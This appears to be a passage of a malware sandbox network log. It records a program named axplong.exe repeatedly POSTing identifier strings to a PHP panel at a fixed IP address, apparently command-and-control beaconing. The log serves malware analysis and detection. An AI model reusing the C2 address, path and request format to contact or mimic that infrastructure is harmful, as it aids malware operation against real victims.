Oct 29, 2024 05:04:38.921639919 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 29 Oct 2024 04:04:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
124	192.168.2.5	50128	185.215.113.16	80	6472	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 05:04:38.936614990 CET	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Oct 29, 2024 05:04:39.866183996 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 29 Oct 2024 04:04:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
125	192.168.2.5	50129	185.215.113.16	80	6472	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 05:04:39.980889082 CET	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 29, 2024 05:04:40.905718088 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 29 Oct 2024 04:04:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
126	192.168.2.5	50130	185.215.113.16	80	6472	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 05:04:40.920670986 CET	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Oct 29, 2024 05:04:41.838922977 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 29 Oct 2024 04:04:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
127	192.168.2.5	50131	185.215.113.16	80	6472	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 05:04:41.970247030 CET	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 29, 2024 05:04:42.861991882 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 29 Oct 2024 04:04:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
128	192.168.2.5	50132	185.215.113.16	80	6472	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 05:04:42.876749039 CET	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Oct 29, 2024 05:04:43.776628971 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 29 Oct 2024 04:04:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
129	192.168.2.5	50133	185.215.113.16	80	6472	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 05:04:43.901725054 CET	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 29, 2024 05:04:44.794709921 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 29 Oct 2024 04:04:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
130	192.168.2.5	50134	185.215.113.16	80	6472	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 05:04:44.804440975 CET	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Oct 29, 2024 05:04:45.710494995 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 29 Oct 2024 04:04:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
131	192.168.2.5	50135	185.215.113.16	80	6472	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 05:04:45.824054003 CET	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 29, 2024 05:04:46.722552061 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 29 Oct 2024 04:04:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
132	192.168.2.5	50136	185.215.113.16	80	6472	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 05:04:46.732970953 CET	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Oct 29, 2024 05:04:47.637372971 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 29 Oct 2024 04:04:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
133	192.168.2.5	50137	185.215.113.16	80	6472	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 05:04:47.760056019 CET	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 29, 2024 05:04:48.670484066 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 29 Oct 2024 04:04:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
134	192.168.2.5	50138	185.215.113.16	80	6472	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 05:04:48.681893110 CET	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Oct 29, 2024 05:04:49.595072985 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 29 Oct 2024 04:04:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
135	192.168.2.5	50139	185.215.113.16	80	6472	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 05:04:49.716737032 CET	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 29, 2024 05:04:50.660437107 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 29 Oct 2024 04:04:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
136	192.168.2.5	50140	185.215.113.16	80	6472	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 05:04:50.669795990 CET	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Oct 29, 2024 05:04:51.578644991 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 29 Oct 2024 04:04:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
137	192.168.2.5	50141	185.215.113.16	80	6472	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 05:04:51.697448969 CET	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 29, 2024 05:04:52.608392000 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 29 Oct 2024 04:04:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
138	192.168.2.5	50142	185.215.113.16	80	6472	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 05:04:52.621576071 CET	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Oct 29, 2024 05:04:53.559206963 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 29 Oct 2024 04:04:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
139	192.168.2.5	50143	185.215.113.16	80	6472	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 05:04:53.684771061 CET	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 29, 2024 05:04:54.601043940 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 29 Oct 2024 04:04:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
140	192.168.2.5	50144	185.215.113.16	80	6472	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 05:04:54.611397982 CET	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Oct 29, 2024 05:04:55.522696972 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 29 Oct 2024 04:04:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
141	192.168.2.5	50145	185.215.113.16	80	6472	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 05:04:55.644464970 CET	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 29, 2024 05:04:56.546622992 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 29 Oct 2024 04:04:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
142	192.168.2.5	50146	185.215.113.16	80	6472	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 05:04:56.556571007 CET	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
143	192.168.2.5	50147	185.215.113.16	80	6472	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 05:04:56.683190107 CET	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 29, 2024 05:04:57.603221893 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 29 Oct 2024 04:04:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
144	192.168.2.5	50148	185.215.113.16	80	6472	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 05:04:57.615240097 CET	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Oct 29, 2024 05:04:58.538603067 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 29 Oct 2024 04:04:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
145	192.168.2.5	50149	185.215.113.16	80	6472	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 05:04:58.652728081 CET	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 29, 2024 05:04:59.547677040 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 29 Oct 2024 04:04:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
146	192.168.2.5	50150	185.215.113.16	80	6472	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 05:04:59.557324886 CET	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
